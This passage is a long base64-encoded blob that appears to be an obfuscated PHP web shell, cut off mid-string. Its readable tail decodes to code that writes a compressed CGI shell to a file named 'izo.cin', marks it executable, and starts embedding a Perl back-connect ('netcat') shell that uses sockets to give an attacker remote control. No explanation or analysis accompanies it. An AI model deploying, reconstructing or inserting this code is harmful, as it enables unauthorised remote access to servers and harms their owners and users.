tSXlHSzlhUTNpVTJwQzFQQ3NjbGVwOHRqMVZxOVZrWkJMajlHYmVtdjIxZzRNTHo3U3RrTjREVkR1NExQSFJIVTFHUkJ0YzFaNFdMNWlIQnk1RjVXcnEyRjFPczZTTmlyOFdrM3NHenltQ01NajBvMVFOeEpTem01RW4yVVN0SmZFMUtibUtoVEdaOEJ3VThDWHQzUE1ZV2ZsclRNclVKZ1pDVDRpKzYvQ0JtbThFVUxXV0Z3Vm10ZFlrRGhaRHB3K3NQcVFBYUk0RmRCWE5SMEJIWVJpbzJySEFDSkNQTEh0ZHpZVDFtc0JYOXM4RVdGNjFMa0tSOGgwbGpCMEp3SFoxamJqQU1qc3pRcHBrT1BZZnEvMWVDaHhhS3BDTkVYbzhyT2d0bS80Z0Q0c3d1cXNpOHpnU3FDNDVOQjVJUVZGdVF5cWRxQWVZdjNKRStHSWZXVTdFWUpiQmEyay9RalNnSEh5c3hVK2JpMis0ZzAveGNaR09wNmlRZTA5LzRiOHJoVWE1NW9pUWptYVhsUnZiTGVjWiswM1pNTDBHelVHZ3V6NlhpdEtWY1B1bStHSzRSYk80Ky9LMGRTWkRVNTV3bHBKeExrUmNVSm5hMkdDbkp3Zk5CS2p2OUFCaE5IM0Q0bC9Qc04ya2t3VUZHRXlvcERhZ0doVW9kbzhWT3FIbFIzMG54TGRxdFdvTzFBOGZpQ1ZoeGVwMjRFUVV2WkhrSU1uNWxieURpR1ozZEcrMk1TQURlK3FFeGxsUXFWNFNjS3V1NWkyTHBWWk1pYXNRUUZ3dUplNVRmaWhHalFRRFg2Wk1xQWhKN0hWV2VHVFNPUStZOU1UNkp6dVNKUFZrcUVKQUp6V2NPRHVCMUhPakN4V0tQTkpDaG5VSk9kUGh4REYrQnQ4VzFkcElScFNtdllmYjlCdjY0MHpSYnhpZGVsWUROakkxMHFVVGJFblY4VG1odm5MY1Y0WE9rMFcxMGdQTkZvd2R2OVFHbHR4ckhleFdtTTVVbHF5R09VUUliS1FCU0pUa3Q0VGpsbGdvVnhHSlJaVWlvS2NScVBqb2xFZEo1QXZteEk5dEdKL3hNQjFJVzJ6QVdYNzdHNC9UeS9VMVlidkp6SDc4aDdIUkkxQ1Z0VC9mdlh2L1M3bnd5Tngwb1A3TDZJb2RpcTVvamNjZ2txUUhheDhYSi82RkQ4UlA3R1RrbFQwZzM5UjFwbUM5dGNRT0RPcEI1R0k3MEdnY1c3MGhIYUJVbzJLejBIaVgxekNGaHl1aHRwQUlSSjNCOFVWYnNpbkU0dlpCcVZGT3F3Z2w5MGc4eGdQNTNVTkhTQXhQVlJML1VoMlJZK0xUNG9Yc0dXM1lrVlhVU216aWphUkgyTHdjbDlVdTh6Z01MbDNiVVhaWVBBeUR5V0FvN0RFbCtCbGRVczJGanR0Z2VTQlM3SjRJalgxU1Q5Z1dRQ2xDcy9lc3lLbklnTzdVSHM0UEhFdmR2SkMySjJhbGZXaitLY245TFNzejgyemd3SHdyUjVmZVlpZWlzcEZYR2ZERE1hWEVrTTV2bGdFMThPWFA2bm9OdE5jWFVoeVA3bENrQnRuNXppaEFnVVRxUm9FM2liWElkQ2hVQUMrU05DUXltNW04aHREeExBdzhLR3ZvRFlOeHlhZ0dJN1dYVXRVYWlPS0F2Y1dnWGU4TElneTVrUmtkVGFYSFp4NDBZaHRZcktybytQSFNzTU8rWHZGRGx2d3FGM0ZEZ2FrbUNGK1pzU2JSaDFUZjB6WFNySmZDb0tQWWpFbTgwcnU2YVJNOXIvNy8ydUlBaWVXVlJldWphdkZUNlkrK3RDeWtPSksxS0MyVFhDOEJtcndKenl1MXFNcUxYRE5MMW1WY3Q0S1ZHQk14QVFKb0pQVGptcFdJaTVWWEZmdDFYdmhDeUg0YWZlUkRsZ0VhN3laM3Z5RWVUSWliWWtUQmhwSWY1SHBDWWt6UkM4QjhlMTE2YkUrWm84MExTMTBEZzRnV3FFSXRsUjcyVGxXbUpKQkFFa01VRXhNRjFaclNZeVExb012dWFoajJRR2ZIcE0xTWpZQ0x4M1IzZy9uaFZwV1FWV1VaUThpc0xxRTBHcndUaHJRSkM0eWZ3aW1sYmlVUW1qczc2NlhoQndUZkNoM08vNVB4T0JBM1JBVjYzVFRXazJnREl1T2NvOUpWeWpranRWU3JYZTN6elpkMXR1TkVNYTdPb1RBVGhKYUhBK1MxZ0RTUGpKbEpsWkRpTWJRQmFEZXNYREtTVDQ4UGpqYUZtYXluZUVhUEJLZzV4ckF1eXUvbzBGZHhDTE5QWjBqZkNzTnpjZFBQcUlaL3ptQkQ4Z1NRSUUzY3JXdThmU2tQRFhsWVJYUWd1NnliSk1zdFRGYThPSThocnlpWVJxVENvNmxWZkUwSjZhMHo0bitWZ2FtR0NiMVlsanRReUh1Q1pqUllaRTNhMit4WmJsUnlrL1pPTnUyUHhqQU9PV3IrY0w5QlIzc1lmTk93YzhQNlV0OWNYOG9kbm5LbVBEL1h1bVgvYjlwK28ybHIwbk5HRm02R1plNW82UDVjWjF0eGNhSHBHUnNudHlQRUhYdUIwbUZ5aTJ5Sy96VjNIN1I4Zm1lWXlDek9JdkNMT2MzRGg2bzJnSXBmTUlWZW9IU2xvQi9qZmxwaStrc040YUZqVlVYaU5qV3N6L0o1QUNqZjh2U3hCdEVBWGVOR1J3ZG9ZMG52OWcydFNBaWt3QWNIR090TGREL1RBeE44MU9jQ2N4eTNFaXVSbUxXSEdJVVBtZ2pESUpTNm1RNW1ZTW11b3d2UFNzZnU4czV0eTNzWmFlcWVtTFFUdDNaQ2Q5VDI4QnFDS05lcll2b1dTZUZrNHN2TlBLRjlvbDk2OXJ0b0FlK3FxdEcyQ2UxcldnWW1qWHNpeGZiSmxXUGU0V3JRV2hDVzc3Tm1XRlBjTVpsTEQ3cUFzNkJnVTFjdk1ySHZZUFF6RWJPNktxNTVyS29DaFVZcVJkenN1Q0UwNFdoY1N1TDBMOW5zWDltOWl0c3NuRnh6VitUbFBobmhoRHhQVGN6VFBvUDRudHdJVmJkRzBMV05SYnE5c1VnQlgrRUZmeFZ4bFBVOGNySm9GaW1JUVRGbHFNMnpqeE1MQjErNit0VDEyY1hRQlhKTnJ2R0dVZmpYZ0tRSkcwMTZ6TGZRRm5wRWZkRGdTZithMzRVL2d2UTJXRmZ2Yk5GenJSdjJKYkN1RWVIN3E3ZzBMNC90TUhTeVlyeWNxWU5RL3FETVVRR3JNZHc4Vlh3dlcvVGVkTG9EbVZ5N1dhUXB3UGNRTExWaWEyQXZhVzZiMGFQTlRmeU1LOU5zekcxVWtzWVpqUjlhTTkwclNmMU83NVJrdE5qMzZBaUR1RlhqQWxhaEhOUCtGSVYyYS85emNmUGc1QVZkMlBlT3FKTjBkQ0Q2Y2IrTEtTNFF5ajVCTWNoY0Iwd0hHK0JqNHFKYzFJM3FhbHdGekpjbXYycFA5Vit4TWZ0aU1CUE5na1dXSTNFMXNDekMxWnZldlVoa295ME1ZM3I0UVY1UzVuL0IrL3JLK29iQWxOQmxJanNJWW55UU95Zm1SdEtYcHJ3dlhOM1BaM2JmdkVWYVgwYzhUZHl6TVNYTWpuN05wNnJwSlROMUQ2VDVRMzlRY3VoQ05WUm1mS2Q3Qm0zUXhxT2hMYk43amhsUnV0ZXVBTlFmeGFHcHl5djF5bW81TnpJRG12Sk5JN1NETHNOZE9TT0FzMWxNS2xYdXc1YmpxM1lYbnp1c1VIekcrdWdhU3RvSmJKb0xoWHJhb2dHU0lLTXJxbGF3c3ppZWdnRzJ1VURjZkRRRlYrR3UrRDZtTVM3aWtNTHpMSW1RN3BuUmNCUU5qQzZrM2F0NFo4UnRSZHk3YTZQSS9XYTN3Y1F0eG95dkJDTHRIc2xpVXc2UnBnQ3FhNEFlL2d1TzFpVE1EZkVkclExbUR1NDZ0em5DSm54VDVtYnB6eStxbjUxZjZKdzZHSlBmMEwxUHhvaHFjMlUxdW9lc1pnN0h6R2tPeXpQSjJEVGIrYjRvTkx5aEUxZzB2dlAyVUpzd0RSUkR5VXFBbVRZQ0JZbTA3N2RKdUVUd2J5a3paQ21LejRZb2tWaEpxbWpEVWNDUDFxT0pPSEpTeWxtVHpRN0orQlVWeWhHYUI2UmFLblZ4SDJuYUtyN0J2c3pQbTczODVXZU5xVGlTWW85bU5KcHFoS2xZVlgyK1dtWUdTU3AwWFo5ZmlKMzRPdFhSQnhQOW5PK285dnU4aFhKaVQ0TjJNL2gzbmtDMkpHOVZmSkNiR0F6emNqT043QzF1N0xGU2lWb2tad1RoUW9SY1dXR04rdEpLbVQxcXNqb0ZkSnhMbW5lVXlheU43M0RvdlkydjZTRW9FVWp1TUlpTHVKS3dSd05LWWtQbkp6R0lzcmRtYkc0bFltaGhzSC9CQzB6U215d1JJOExaRFphSlhFaE5VTi9jeTlwVDJxcWN2bUplazU4dndQTzlxaDFKUlNLZnppT0kwTWdZRWlKQld1cXpXZk0wTDdoZzNGNmRqVGNNdHNPYnliT0tzMGJ4TkU5VjQxSWc4eFRZWGE2VG1IcVhEeTg2ZjRjZjB4VzI3ZUxFaU8xMWpobmRIY0w2NnBvUW1RVmt6MWxuUjdqNEhlRVdFZmxmTm5EUmM1a3ZCSzh2dHMzOGR3Rmh0dWNiZjhCQmxzeEZLalhqT01zZDd3UEJaN3pWWkgzS1lHK00xWTBuMldGOU9jZDhTbDZkSWtadHZpV2plZTB2ejRraVZuUGlYbzJDSE5qc0Mrc0JLaGJCRmxyc04yaHBNb2MxaTFCWmNTUG5aRWVtei9LWng4dEt4RXo3M2c0aXdMcURqYVZsL1BEd0FUdzgrbU9lZnBNTno1KzZQZnE5c3Zxci9yaXl1cnF5dk5UZ3ovd0pxNEMzaHc5RUx2clZHNHNIR1FiczRZT1JGVjhNclFrdklQS08vK0JSSXNSVG5aNHMrWTAzTG4vL3BoNmU2S2MxNDdFT3ovVHo4RUdkZmg0K1dLS2ZodytXNmVmaGd4WDZlZmhnbFg0ZVB2aVZmaDQrK0kxK0hqNTRRajhQSDZ6UkQ5Vk5YWU1tNEMvVXM3SUtmNkdlMVY4Sk1taVhBSVBtQ1N5QVFzSkV1SUZNdjY1Q3VWOEYxbjZURDAvVTA1cCtyQnZQaENDTlZva0tJSXJ0OU9rMzBRZklScFNEL3dxUC81Uy95WWo4cGNSZkMvTi9QS0lDdkRaL2VPMU1ITkN1cmhkY090ZkJaTXBSbysrN2x1Y1dQZHIySEdkTW5CMDVudE5MVGxBd0xhdHZBdHFreEM5MWdraS9wOU1idDZRdlpkTFRPWlp6YTZoeFdHbWVjZDh3QTRsTG9yVEdNeENkUWJOeHJJK242ZkdNOU5KUDh0Z3dJWi85d0gvN29NOFhGNW81TjlESm5UUDArRUZOWHZ3NjFWa2hQUTFMbVI0Wk93dXFZNGRPdkw0T0l6a0ZLNWo3QTF0UTBkRGUrUmdPVFRmTWplNC9VSlhsNU1IUE1nL2Y1cUxhRWg4d1QzYVRLMmZKaUQrOVhYalBPdUUxZXJod1E4TlloTkc1OHV4anF1YysvN3k3L2N0dEt3ZnloTmUraWtlSCtDRHZIb0VhdmR5TkZGYXA2ZWhEbEVOTWoxUmRLaFNSd0NwUEZybm1DdjE0RERNdVNkMUZoTWwzcmtvQ2dXVkdNWDRkdFJFMThXemFEKzN4NEc3azRhaHhyV09UaWVvUlhHaUJxcVhnVlhMUlhmYUJ2NG80MzRWa0RNeXlnRlVCbTg4TVUyNWZLMEs3NjdXYWFtbGQxYTdXNklxU2QyN1BxbzljVGFHZFJDWjE5WjhKc0h4WmZlOENLUzdrMjFjRE5TZ09wUEJCV0JVeDZ5WTFqYzVUeGhKTWx4TGx5dXdYdks2cVhrN1hudy9NVnoxTC9wb3JYdENwSElHNXEzakFKRlpjc25OL1FjbEg3RTg4L29IM0kwcStudVZFRDVyQit4ZjFMQy8zRFBSY25ycFF5N0hHY0RobldpVXpYUW8yN2t6RlRvZ0FqMU5DT3R4clFwUzVxekpoZ3hudHNxZEJOSzNGL0lYaXBieUZZczhGbzh5eTdUQUhtTHk3V0Uwa3NPTWd2QjhJdjA2RFlBdzE1VUR3UklJYytCZk85V1NzUXRkTXVjNmlheFhONjVYcGlnaXFiMk1LUWhNby9hWjFjalByTkt0UDhNZE5SRFdzdkxtRUNaaGxhc1BXWGs1c0dJbm92T0tPU3FIUnR3bS96SU1KbUlPT3ArUXdKWVViMmUxUlFzS0VBY0ZvRlp0ZDQrVzlTR1YyNWNaRGxoaGtlRy80U0NQNmJCemR4UUN5TUpKY1hWMVZlNVlQOVVRTzBLa2FoSU9hUnNOTm1kUXdrd0V2MlNNQ3JKZXpDZUgzMk9MbEpWdjAyT0tZcVIxQ3RmVGZ0VFFjVCtySmpUMWp4eUt4WTVYSE9rbEMxUktyVFZNMDF4MzExbzlVVXFCU2JwTFdINmlpa2tycTNocWlzWHBQRmRGWWFjaTU1bDJWaEh1N2txQitNQlduL0Y0OVdNcjJBUEdsMTF3UzhGKzZ2blhoM2tIaHowdzdiZDB5M3N4TU5YWG9jTW1BVmVFblh3bmxpM1hPbkM5UHdGMWpoUXVaNUllTHVDblRNNHdQYUZwak9BRWRPNkUzWTR1TVcyUFlXRHZvWFRqeHhoeE91Vkh5c1hHQjROYjE3cVg5NnZENllPblp1T3V1WGIxNTlTemFlVGx1OUpaT0IrM1RKNzhlZVllWHI1ZGl6OTZKRHJmZGs0NjFmeFoxTnkvV1d0dXR5OWNqYndMbGhyMmxnWHQwVlgvK2JIZXZmVkovc2ZZU2Z6ZGUveWJyT1YxYSs5dGFPcXRqSG1qTGErMitHWGYzejFxdnoxY3Z1dnVubU85VGQra3dmUFBxWlhCYVg5dHAxODlPRDdhM1hwNTRhODg2Ri9UYzZkUVBEMTQxRGs5UEw4NjJPdTJyd1J1b3IvZjAyYVc5ditZNjU2dkQ3dmxwMFBKUC91NXR0OGJQMjF1WFBYZnJ3am8vSFVDZWNkZC9PV2g1VWZ5cXZYWFdIZTI1ME9iQTNuOHlPQjJkUWJzZmw5NjB0MXJkNWNQNnEvMFY2c2ZycFRVUXM3Ty83ZTBodFh0eTlqSnFQU1U4RE4vc24xeS9XdkltejdkUHRrNHY3UFB6VDNzMndEZUcvUFZYUzN2MTd0SktRSGhvdk9tKzJLc0RMQmVEN25KcjhHYmY4MXBQdDY2dDg5VjZhL3RaOStDc1BqZ0R1RitQUHNMM2s4dlc3dUZsZDdUcXZWNStPV2p2cjMyeTl6NU9XbjhEem4xVlpxZTd0RHA1YzM1WWYzUCtja2hwM3VIeHkzcThkN1pkWDNqOTZnemFmaE1CZm9QbjJ4ZUkwOHZlL3RuaytkN2g2Y211ZDNTd3Zla2V1MjlrZjl6bkhTZy9BbnFmcndTbmpaUGRUZ1B4M0ZwNHB1cHNqUkVYM2VVdHIrc09PeUNsZTZkZUsycjl2VEtTTkdxNTFNNVZEL2pBaHZvUDJ2VzE0L2FXQ2VmZzVXZ1BhSDl5aVRnNDd0VGpnL2JtNE5YK2FxL3J0b2p1eml2TVZ3ZmFuVTE2UU5QVzd2QVp3TFBmUHYyNGQzUzkxZWo2aDU0TjlIOTU5bWF2dmV0MXpyWTNmNE82Zys3MXBuOStIZHV0dmNQVjN2S0oxejMzSm05R1QzNXRiZmQrYXowOW03dytiM2l0N2Nid2FPbnNiMnYvU2FyTTJTZmdjNkRabThzamQ5T0hkc1p2ZG1MdjlkTHdVdVFmUEd0RUlmRExydlhxR2REazVMTG5YNGk2dDVaVjN1c3QrdDNhdHJ2UEczWGc4NkhYM2IraWZNLzJEb00zNXg4amdhTy91MEJUNERPSi85K01SVEFhVis0bWthWWtaYVV0dU9qdHIxM2JKSjJTTzdkc3lndWMxNFZlYkhmcXVaTHpiQmtscDBjVWw1QmozcGE3NWxybkt5RHBlNStzN1ZaS1VzL2FaeGRuN2Rza1ZiYjkvSHp0dXJWL01uN1QzblI3c2grdTRHU2tNcGV3eTk3VFJOMVEzOGUrb1JVNm5jWmErK1RzckhOeXVnYzhDUno1ZEd2NGVpa0tXcU1yRjdqODQvTzJwNlMvbGF3WEtDUGFHeUgxRSsxUXYxNmZuMXowdkRYQSs0RGpjdnNLdE9EcTFzbnVTZnRWZmUvb3ZIMHhWdEs4L1F4d3Mzb0JISFRSYWhOdUlvdTRlU1VGZjJQcmZQZnd1SE94TXQ1K2FjQTIramdtenYwN0dEemIzaVhOODJhMGR2MThKMEtja2FacDdkUUhyODhQLzM3emFxditmUGZ3UmZ2MDdPZ01ZSkwxZ3hRUFhpOTl2RVRlZUZuLytPemtkUFgwK2N2NmN3ZnEyajdYMHQwK1hZbGFLTjBYc2c0dTNXWWVyZ0ZJUyt4MGRyMjlqaWUweE1Bek5NbForOVM5R3FBV2tPMXhEZytlOVphOVQvYitXZng4KzVtVTJsYjdETXBjZUM5T0FFNzdmQldrN2lYQXZuZCtjb3BTL25LUWtyWU8xd1lOVXpJYm9MRmo0Sm40ZFNkWFFzOUFhNkNHSEhVL0FSNC9SUVByL0NXWDlrOXhRanBQOXIxcjFFcmQ1V2Vyb3U0cmUwbm1qUVlwclVJeXdQT0pVVS9oN0RDQzBjS1RtbFhnU0VnNGFjcmpzN09YT1hrUmQ2UU4xZ0JmVGFVQlVBZnc2ZEFtVE9IUmZ3OFh4UFNrbmkrR2l5dzBqMnN5dFc2bXpXcXhDSTBMY1VaVzV4OVd6ejFOYnE3YnlDVnk4dHMxUUptNjRrN09GcmFUdUlSTEdoWjhiWTU3VTRyZGtYZzByaG5MZ0h3TmtIdGpHRG02MmtTcWpqMkJuamxhMjB1ZG9aM3V4NkZuTjVtYTFDTGhyZjRkZDNibGlLNWg5anFTVWZlaDc5emxoSms0TkloaFZqL3g4V1FjOXduVDRXcUU4MGZDdlRRWDEyTEl5TWYxSFZDTjVRR2k3OFZ6cHBxZmorUjdJWFpXMWoyLzdaUGhOUTVzWjhaM0NKNk0rUFdCVEcrdjhlamN5czlKK0REQjE5Sk82NlNDeWRwbmlaOURrQjUxNkpzbThwV1QreklpaTFySEZ5UXZtN0VKTW5sa3BzVGVEWGRMSnlnTmg2dStjTGppclMzYXdnVXZ1Wi9EVCtid0R2Y1ZRZFd1Z0dSWFhVQlNQNXRaYnhMdzYzdEVwelZiS05mREs5OUpYcytZOWo0VThSb2t2TlIycVRCeDdVcGg0TnBsSGEyTE93KytYYW1zdnBlQ21na0tsdkRkKy8zMzM5T0NsQkpKV2dzWU9QSDRDdHFqUm1XOGcwRVlUTWFZTkFnSG1EUlFTWExEQWNzS0NnbDFYT1dsVkd2RzlrUVdJSUdqWXd1MXdWN2cyU2swMFRIb2xEc20rZzkvMTdGQ3lWSjV4d3E1TTQ5b2xoOG41R2NKWlljeGFTTkIzR01uSEVVM0VoZS9UWFF3eDBWTkQwcTV5a3ZKWTRnOFdtTytVUHFhSnBvUksvY2I3S3ZLZUdWazFLMWVKVFBLbmtKVlZlbmVYNU1QVlN5NWthZlkwV3V4bVdUU3BmZUNqNVFIYmVyaTNQcUtPRWhlWVZSZUhLNnZvN05OaXRIVXp0WVVya0ovbmpSYklYVU9yQ2grRWRnVUd1QWJKTkN6c3JLM0pxUGtnWENPS29YclNtRllLYmlVajBMLzRZbG5LbGwrdTF3QlFhMHNWUnE4U0FGOWkrRy9CZFpZcTllNUQ4QW84SW5aL3JtcU5kZ1NXMllyYkpYOXluNWpUOWdhYTlSWm84RWFTK0xvdmplaTA5UlpQQzdadGNkUjdmR0t6ZkI1SGY4VGlDVWdzWW0zaGRGN0RleUdZYnVKYWpmeTBKb2pyRExFeWEzWTdLZXdLU3Blak9RaEV1MnRuOXQyaHA2Z0ppSW50L21JeDlNeG0rZmZhQU9WTzBlbndLQjB4ZUJiU1RoTWF5bW5ybCs0dDdYQi9SS0FKRjJxOWFXK3BBUGxxSEZRa3F4TmdBZzRuaHVBYUdWOWg1WnlHN3E5dlJmcDl2VEF4Yzk3bVVpR0wzVGpldUtDYlBxRTV3di9mQmN0OEpPRmljL3dWUnc0Tkc3Q2hsUk5WckJwMVJuNHV6VEhxMzBIZitHLzlCM2JpWm9UeCt2dlhqWDh3YitEYkp2VTZzMXRpbnUzTW1QWVRlZjlsUTJUT3ZpZmlQK3I5NnlML2FLK0NFZ01kdW9tSUx0WWxyR0F4WVpRTWJVWFZKUnIxTjk0Tkk0SEtucXJqTGk3SFpGajcxbG1wZDNZT1NuaXBrbVJIOE11aW03Q0F3OGx2bEl2aXAySm9vRzFJcXZsVmNUM3JHUWRsaW9KRUJXVCtYc2UrbDhWK1FaSVVSU1hiNkxVTmtWSEtCcjdBZWtqTXNMVXBBdWpwYzdBRzdmN0lvQ3E4Q3loUzdpVG45SkdOVlZoak8yMzJOWGFHRzVTMFZ3RE9HWDlqaWZSc01UaHFOek4vT1VsK3ROS0dNZEpUUHVYZjFjNGlIRGQ0RFB6ZXFVQ0RLaTkwWmdldTJYMlZlQ0pqNFgySGJMYktudXVyNVB0WGtwYTBYNE11M0x0ZU5nc3J0VWZGeVhCY1ljWWdDMkt6UnV4WFNVbEFXZjZhTUw2OXFJNFlqbS83T0FmeFFUeEVKOW94aWo5NTJyOG02cHRLTnR0MU90RmxSdkhyWnR6ci9MY05HRzRVNzFvZmJvUlhxOTdwNHJSSEdMU0hycXh4Tkl5TDdGSlNzVElhdXg4R1dNSFY2dlhhazNBRDJLWU5qbXBIQzQvTks1ODcyaW15UVJEbXFzTHZDcVlEZEtEWGpYU2RaYlZZZFJFVSt1WmpNSUd0YVVPNXVPYW11TUFJL0FJd1R5c0NBMzN0bTVRelQ5WlF1UlViY21wQzBud2hpRVlJbXFHV1dGZWZUNG92MVF4Sjl1Z2tITGJ6SmtyQkhFb1daM2pUM091VFJvV21mRkR3VlVDSVlXQiszRUk3OERmclNZcWNleWszRHJsdXQ0NFdHNUw3YzRkQldVWEpWS1Y2azg2QjBxUFpwTTh1ZDJnYktCUzdsL0loTmVZZ2R1SkE5dDNybEVoamVaNmhMbkF0N3NlUlJHV0kzQTQrdEFid2l6bUF3NFJKZlFlcUVoMHVLTFZTakVObDVnOGFqeXFMQ2tjNmxFOU1Yb0hmZ0lHQTRDcGJkOWM4UzN3WlRmTHY0c3N5ZG5aTjFKSGMyNEtHeUVGQU9Ub0tMaVZvdXg1TVVrSHcvNU12d05JaWpMbERTWnNQanE5dThHTWV4Uk9xQ1hONVl4OVlia2c0WEo0TC9EN0xvQlVQT0dYRXdOVTYwekN4bjR2bHNzdzlpV2EraXBKZEhmSkpFMGswWWxwL0Nia3BzSUJCeHUvZlp0d1pvZUF1WUs3c0tBSGYxUEg5NWt3SVdhcjQybFZzTkNYYjFwbGlrOElDamVLSVluZkhDTFh2M2s5RkZ0QXlvbGg3QlF1WFVjdm1QeXVJMHhVZVFNR25qR25TdXpmeExqM1ZOSUlqcUdsRlN2SWl6cnZ4dzQ5QlNOSGlLbkhUUVNZRXZtTkN0d0VLVG1GVjNxQVQrajc1ZTlRQVBrS3YvOHZWZmo5SElWdm9QdmUycDdVRzNISVhkUjUvNmVvODIvRS9kM1ZPZlczQXJQaHRHcStTVE5MeGF6a0ozRTlEOTNIdysvcFVXUXhSVU5HbHN5cDhBNmFIZ0ZlRjR0bHM5YnpTbDNNVk1sUEtXVjZ3dFhrbEV4VjhqTXZyQWl2OFFUT0dhcHYya283aldaMlRBMGIyUWxHbHV1ZnFvdGk2RUtRa2wzSHIxR0ZGZWxZTUhLa1hVWG1LTkx4b1lJVGhqd21HQzRTOVB4UEVlUG5na1U1eEI1dFR0QXVwdmdvVjRyTVNWZHlRTXlla29NcWgwbi95K1RxejZxeCtpUG52djMrR3E1VkMrN0hwdGtDWVRIckhpbnFObFpHWUhDSHZ1WEdCQ3hSMEtneGx0aXVUenpiZjFlTTJkWTFlc05pNUxRS2F3ZGhlRTMxVXFaaWNzMWE3d2RNaXlOWTFHc0FPcTRMZFVCckIrMm9xdWYxRXVsNnhzdDBvdXA0Wmk1Y2xKeHQyajJCanlmVWtLS0pUUno4VE5FVHE3LzgvaWxRZTUwbGVCWFhlTFBQTlc0cXpjM1NWcUtKTDEvbzVXbkVubmlOSWhoRmtkclFhMGdyS01CQkZYaFRiUllhR3lOazNaWGZycnpQQmtzdkpoWlllSzI4STZLemZNbGh0ZjVZbTBBcFE0ZG5GT2NDaWdCU1ZReWIwMDhkRUZGNHpsemRwNTNSSVJmMVRPVE1uTGN0SnJhZDBoM1QycTY0OGZNVUc5ZG93V0NHdW94cVI1NjlYM1M1eEM2bHVlTmlLS0dsNlVwb3FYNnJFc0lJWnhpL0VzeDRhTWpHT0V0WlhiU1VIWE55RldKaXJFcnJBbHpxUml5blJKNC84UVg0MjFiR1VLWGpJTzBGZzJacHJsaWJSR0dOdGdscjFoalVoQU12ZzZoR2tZby93R094UXRJekxaL1Z3eHMyYnN5NFZNT1JwWWF5SWdZWm1mUFN3cHdEbnBUVFpETDl4cVo2WURNNjN1MndtL251QUR2UEdFM0d3L0h0RmQ3U0hLcW11NEQvdy9zSlZxRGpSODVkY3VLQjN6dmt5M1lGU1NWeThGOUVhVGV2SXNBbGdOVEYzMVhYZC9OenJPWm1rUXd4dW83Kzhmai9pMTNYcitZeERhVk9UN0VKZTlQVGJ5c3ZXbys4NENxVGFVcFI2SkFzV3UwWllvQmozQTBKeGllMUhTZldyV2s3RDZkUXl2anlObElqUGtCQjU4aEo0TTFCSDcwMHhDZTVBRUpWQ1ZWMDlOd1luZE8rRldiR3ROWVVLakoweE83Y3R1WDNIRS9tU2xudktac2RjK0UvY1o0MmNXNkhXbGI3am9telpXTGtUWnhER3dlUlBFT2t0aWI1dTlxWmhON0RSTHFzUjJmVlJQb2dVLzVaS21YRlVVWGlZemE0WWVJTVUyeTVIbHZFNDk5MVRwc3ZiQkE2WXpERWh3RXVndkVTZkpkeHRWNU1COTI0QzRSVHowL0IzRU44blZydGR4MjQ2NW54TDFudDJ5cStSekRLVkJQbThTOFRTWnhiMCtlbGtnZW01SjJzWWk2Wk5LdHlKNUtLaDMrU2ZmVUNKenJIWVRBSXJSRmJGUEg4Y2VHd3pXOEl3MXRtWjlBdzkwNTBMSnNXeWpiRWgzMG4zZzZDQzllSkNKbXAvWHhjNXVRbjM3WlBXc2VkRDRlYkwzYkp3ZHNNdE5wTW5vN1RlUTV3REpJSEdxV24rSmluSmFLdnB2eUZ5Vk9jTzRpbjdrSVJkeXJ4S3VUZEllSnJ3TDl1eWtWWStzanZYVEkvNXpFNDJwVWlROXFKZklQTjQvVTFZbW5YdUwwR1Q2clpUdDhDVHFGNzdkUTFZdVpOQjhaRlBQSnVEcGlSZUo1NVNRVUFkL1B0RFVuczhEMUc3SnNOS0tMd25QTnNaUFdnWFgrWWp1cnZPeE4yZ1hlRjQzMWdRNHpsL3lpQiszdUY4V2VwSVAwWlZGSEFzcnliRThnSDhpOStvWXlSbGxNQjU1cUJZN2VJaElJMWdiYzJ6M1ozanM5M2VHQ2RnbVFxS3BGSFBUSi9CTmhmdnJCSHF0WXl3OHNQS0xxZDd6aDJWQk8zaGxBQlBpZmhxOGxPaUVxSVdCZzFnZGh0VGJlamZWR0FUL1pQVythMUtMcXUzS3VKYk4zcjNNRHl0QVRiMUVjbjhGV0c3a0ZRNkFONk05Zk5nZittVW5JWEl6ZWtaUHFPSG1xRWlvdW1aSFJSYysvWXZERVh0YW9NeGdzVEtlZlJ0Q3NzaktVQ1pZM2NWaUd0MkR4aXI0TUpzOUZDb2V0N3hzcEJJYnBUWTZtcE50K2JSeXp4WngzR2liL25oZmlSSmhmUGtieXFxU0xLbVg0MjM0bWdsTFUyUSt3WWVPR0x2Qnd2K0d6aWhkYWFwK0dsRUk2U2wwUVo3TVdMU3VaRi82RndaT0RKZEoySGhMek9RekhwTHc4NS9nK3pJZnd6TVM3YVFnUUlCei9TYXBBMFJlY2t4cTR5Z3N1a1NsTzMxK0VhaHFWdjRiaEZGZlVNVldTQWs3eHBhT01tbUhSby9Ta0FVYlJzUzF6Zk5RMGN3V2VKTzEzRVdFZFhLRmJVbFlvNDlFbTIrejdxSjlaNFowZjNxWlNlTnJMd3UwL2w0RUwrY21tY0ptNnkvVllpNjF0aWJ3QW1HWUNEZzVPR0J2T29LQzlCeURBL3cvTld0ME9XQ3JhUkJsRWUvcnNKd0hSVVY0SXhBNklPaEhzekU1cU42L2g4TjdTdmR2cHVRRkRxUmtrT2dkR1NlWG5pRFUxUm1Cd3dWMjVxaW53S2NFNTZ1N3daQUlpVldhNStwbmFVdGpCMHVOcGNSUFAyY1ZNTXY5ZDRvWHZCb1hlN2JrQUY5RENZeERjaGd1Zkl0ZXY0elR4ZnhUeElRYlFYQkRFMCtyOD0nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZmlsZSA9IGZvcGVuKCJpem8uY2luIiwgIncrIik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR3cml0ZSA9IGZ3cml0ZSgkZmlsZSwgaHRtbHNwZWNpYWxjaGFyc19kZWNvZGUoZ3ppbmZsYXRlKGJhc2U2NF9kZWNvZGUoJGNnaXNoZWxsaXpvY2luKSkpKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZmNsb3NlKCRmaWxlKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY2htb2QoIml6by5jaW4iLCAwNzU1KTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJG5ldGNhdHNoZWxsID0gJ0l5RXZkWE55TDJKcGJpOXdaWEpzRFFvZ0lDQWdJQ0IxYzJVZ1UyOWphMlYwT3cwS0lDQWdJQ0FnY0hKcGJuUWdJa1JoZEdFZ1EyaGhNSE1nUTI5